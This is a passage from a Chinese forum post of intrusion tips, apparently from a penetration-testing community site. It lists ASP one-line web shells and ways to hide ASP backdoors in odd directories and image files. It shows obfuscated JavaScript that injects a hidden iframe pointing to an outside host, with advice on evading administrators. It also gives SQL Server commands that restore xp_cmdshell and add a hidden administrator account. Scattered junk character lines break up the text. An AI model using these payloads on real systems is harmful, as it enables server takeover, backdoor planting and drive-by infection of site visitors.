2,打开盘符用右键打开!切忌双击盘符~
: H' M1 W' e: O ~& q
3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
8 Q3 ? c* {7 w8 d7 I
. N+ x. r+ x9 K, n8 S& r( F/ i
51、log备份时的一句话木马:
& ^7 ] f6 h' {: y
a).<%%25Execute(request("go"))%%25>
5 n9 t( s& b& o$ |: f/ n
b).<%Execute(request("go"))%>
* f. U; C7 r9 y; l. D6 k6 {% g
c).%><%execute request("go")%><%
+ x$ `1 R: r- h7 G5 i
d).<script language=VBScript runat=server>execute request("sb")</Script>
% G) y1 i& _' r
e).<%25Execute(request("l"))%25>
# E- }( a. E" U/ h! U
f).<%if request("cmd")<>"" then execute request("pass")%>
; }. n0 a% a" \" l8 E
) h3 [( I _$ r9 B" R0 q+ \! _+ S
52、at "12:17" /interactive cmd
y( g- Y! e# C
执行后可以用AT命令查看新加的任务
; y8 g4 p8 v/ u& s
用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。
+ F% m) b" I, R4 {2 v" T
5 _# w# ]2 ~- R( z" s
53、隐藏ASP后门的两种方法
) E" r: p1 Y4 D3 d# r/ D' e; z
1、建立非标准目录:mkdir images..\
$ g! }9 o3 H M; L7 k9 `" c
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
1 H. s9 v. y/ ^* A! ^" z% q d
通过web访问ASP木马:http://ip/images../news.asp?action=login
. Q/ c6 T" C- c* C
如何删除非标准目录:rmdir images..\ /s
/ R2 {- h: H# g" P: Y/ {1 ^% R
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:
! V1 j6 F% I/ S& _1 }) c- A
mkdir programme.asp
7 f( ^: ]2 g- P' m8 L4 S
新建1.txt文件内容:<!--#include file=”12.jpg”-->
2 {% U" F; a, S! G% f
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
; M# j. L* m$ m1 T
attrib +H +S programme.asp
" { l! j/ N$ s/ u2 ]3 x6 I4 [
通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt
+ h& E0 D" B7 r6 K
' j' e* e! X5 j/ }
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。
+ A0 K6 V, q% N% T
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。
$ D- s/ [: A9 K, I
' l! l5 `, Q# E1 f9 x' l; ^
55、JS隐蔽挂马
! `: V+ a" {' R8 l5 l. R8 o8 a
1.
0 j" \1 E% e& t* \
var tr4c3="<iframe src=ht";
; a9 U. D9 x& [9 k- `* O# z, r) X
tr4c3 = tr4c3+"tp:/";
6 {) D" [( J, h( m
tr4c3 = tr4c3+"/ww";
* A4 a w( u7 Z. J2 F* n! @
tr4c3 = tr4c3+"w.tr4";
9 f+ ] r8 [* F3 T, v- @" D. K0 t
tr4c3 = tr4c3+"c3.com/inc/m";
4 }* V0 j% ~3 E) S1 s
tr4c3 = tr4c3+"m.htm style="display:none"></i";
2 W" V c# G( T- h
tr4c3 =tr4c3+"frame>'";
~- ~4 _0 H9 M& o) U. ?
document.write(tr4c3);
7 m% S! i x: d7 n$ a h/ V
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
: K- H3 K2 |/ w
! b; w8 h2 m0 H% a) E6 ~% R
2.
2 I Y3 u+ f. Z3 X; H' g4 F/ S
转换进制,然后用EVAL执行。如
# z" p8 v' e1 o8 Y1 r
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
8 l" f- s; s' d; V$ m
不过这个有点显眼。
. l: z, B: D8 l" o7 W: ]6 d
3.
+ m8 v+ V8 k1 e9 J# {4 {1 M
document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
& c) [/ T$ ~. k y6 O& S
最后一点,别忘了把文件的时间也修改下。
* S; r! V+ R* O) i1 t' p# T
# V$ v/ o, [4 }& {
56.3389终端入侵常用DOS命令
/ B6 }- {, ^& w1 [! s
taskkill taskkill /PID 1248 /t
& k7 G6 S* ^8 ?+ G1 _
0 F/ G$ o; i& b7 L& U. e
tasklist 查进程
3 S( a) e+ g r. [" G
2 _8 n6 _' W' [% {8 `6 D0 k, T8 s
cacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限
) a3 X4 a2 ~; O- Q
iisreset /reboot
8 C" l: ~0 A$ N! s3 H+ ^
tsshutdn /reboot /delay:1 重起服务器
6 A$ A! `; q: ~: {* h9 G z
! \* X* B* A9 F9 @$ \4 h
logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
! e1 v* o( K$ ~- {0 `6 \' c
7 A1 B* I$ X/ w$ T
query user 查看当前终端用户在线情况
( Q. G4 ^/ K; u0 K: d' I' t
( ~( B/ P" C% x5 I- |# D
要显示有关所有会话使用的进程的信息,请键入:query process *
; b3 ~( `) T5 F |& `" T) G* c
. a V/ i7 c+ W
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2
( x5 O* g5 ^+ k5 h
, W1 |( D4 v! c: v; A0 q
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
/ e$ f+ I1 ^# q V" i1 k3 ~: I" ~
; v7 q. D: x: T' u- O3 b; q ~
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
) W: C) j2 |" ~! c
! I$ S: c" I$ E$ y' S
命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
5 W( S* f1 w1 c$ ~
c! Y' s; F8 t
命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统
: V* D, n, ] A" D# Q4 ]4 z
( ~' r) V" R# D% [2 r
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
, c _/ e/ N( t8 X9 H6 _
W9 v& T" M1 J' r) d
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机
# y% N3 n7 D: ]* k$ W: o
) ^% K+ [& P. c
56、在地址栏或按Ctrl+O,输入:
) p" _- J! e V! s
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
! M9 d! ~+ o$ g
- J6 A r4 j- p
源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
- _2 V# G% q4 o
9 H* c" v( R1 V) t" h$ O0 t. E* R) K. S
57、net user的时候,是不能显示加$的用户,但是如果不处理的话,
# ^5 o; Z* q9 W: b
用net localgroup administrators是可以看到管理组下,加了$的用户的。
( J! M* u& _- L% C$ W# W1 g' M( |, i
8 [* B' [# s/ r) p& c
58、 sa弱口令相关命令
9 d) m+ ]2 I* A1 p$ v/ Y
- \+ w. O) Z; m
一.更改sa口令方法:
! }) } w" ~& `7 V: V& O0 q
用sql综合利用工具连接后,执行命令:
, \& u5 J' v6 s5 ]6 D; ~ H
exec sp_password NULL,'20001001','sa'
! V4 ^% i9 @3 s1 i
(提示:慎用!)
, [& v& q: S4 a5 x' p z
# r m( i b* ^ Y. {5 _
二.简单修补sa弱口令.
2 Y* \3 O% C; _, b7 Y
# K k# ^' ?2 B/ K4 o* v& {! L
方法1:查询分离器连接后执行:
9 I' E: ?7 |: w4 b6 Y9 P' `
if exists (select * from
8 R+ f8 j8 T( z5 _& c6 o$ P
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
- E+ U8 R3 ] F5 k7 p
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
0 S7 i" w q) K: A3 A6 Z' O
, g4 W0 o% d* q: j
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
! M9 g- h2 d) s2 _ P# Q" P
2 j2 `$ j7 L/ R/ m* ~9 U0 G6 U/ u
GO
; i8 ?8 r* a) h+ ]) Z9 _2 l
- f; I, ?9 F" _& Y
然后按F5键命令执行完毕
5 m; T" a; ?# v
O* V5 ?+ A; a
方法2:查询分离器连接后
5 \$ ~7 h0 |7 n- F6 R
第一步执行:use master
* Z+ g) [0 ]; M% l8 Y* A
第二步执行:sp_dropextendedproc 'xp_cmdshell'
" \' a( F& |+ O- h; H( k( M
然后按F5键命令执行完毕
& Y8 f f! ^# L+ d! P3 V
& b% W Z. a6 p; n$ }( k
2 @7 F% E8 ]7 w1 `
三.常见情况恢复执行xp_cmdshell.
6 v+ B) Z9 B8 L' Y/ j$ g+ h
* [' v c( P/ _- O0 G, a# V$ R: i
' S6 T7 Z7 T) l2 E- `
1 未能找到存储过程'master..xpcmdshell'.
3 x" e6 T# i' m- d) N, D& O
恢复方法:查询分离器连接后,
$ o, @6 `" Q# {0 O7 X3 d
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
9 V" J' K. _& _# @! _' c
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
! J" }( H. T" c9 ^, q
然后按F5键命令执行完毕
) W/ \2 U6 h+ T* P
& H C# t0 K% [/ z7 {
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
/ E* w' U9 J$ N8 i: Y
恢复方法:查询分离器连接后,
1 Z1 }, a1 F9 L) l$ U- K5 m
第一步执行:sp_dropextendedproc "xp_cmdshell"
- N# ^( C: Z% b2 y8 I
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
, [, c( @# {2 W( L7 Y( n+ C
然后按F5键命令执行完毕
* {9 W9 ^0 g$ D# K; s9 q7 u
9 G2 T1 b ~& v
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
# e7 _! w4 Q& a& z7 A- @: E5 v. D
恢复方法:查询分离器连接后,
8 |3 ~1 b+ W5 Y; S' C3 K; v
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
2 Q) s) w4 z( _
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
! A _9 N( j# d/ E
然后按F5键命令执行完毕
. ^' _7 @9 P5 Q0 T9 i" l; Z
. ?8 X- k$ G0 g8 j$ E
四.终极方法.
5 t% P q6 r: }( z7 i' G7 f6 }' {" T: R
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
8 n7 H& R* o! e& v; w/ i
查询分离器连接后,
; I1 ^7 i0 L7 a8 H9 _! L* c; B0 j
2000servser系统:
, g& _; s* h* t S" R3 H1 f9 d* G
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
" F/ B# y8 J4 h1 U
" d7 t/ p% {* p y5 R
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
0 k' A# V2 H) e. T& }/ m
4 W( c8 u% P) G# S _9 o
xp或2003server系统:
9 O4 `( h% M: b4 q- ^* ]
0 Z+ `* M* x/ J7 a0 y
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
- b, p) c7 Z% p- m8 h
3 G# }+ q9 d# S& R# a. A" A& N
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
# k) F1 }: N4 \9 S3 P6 @
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2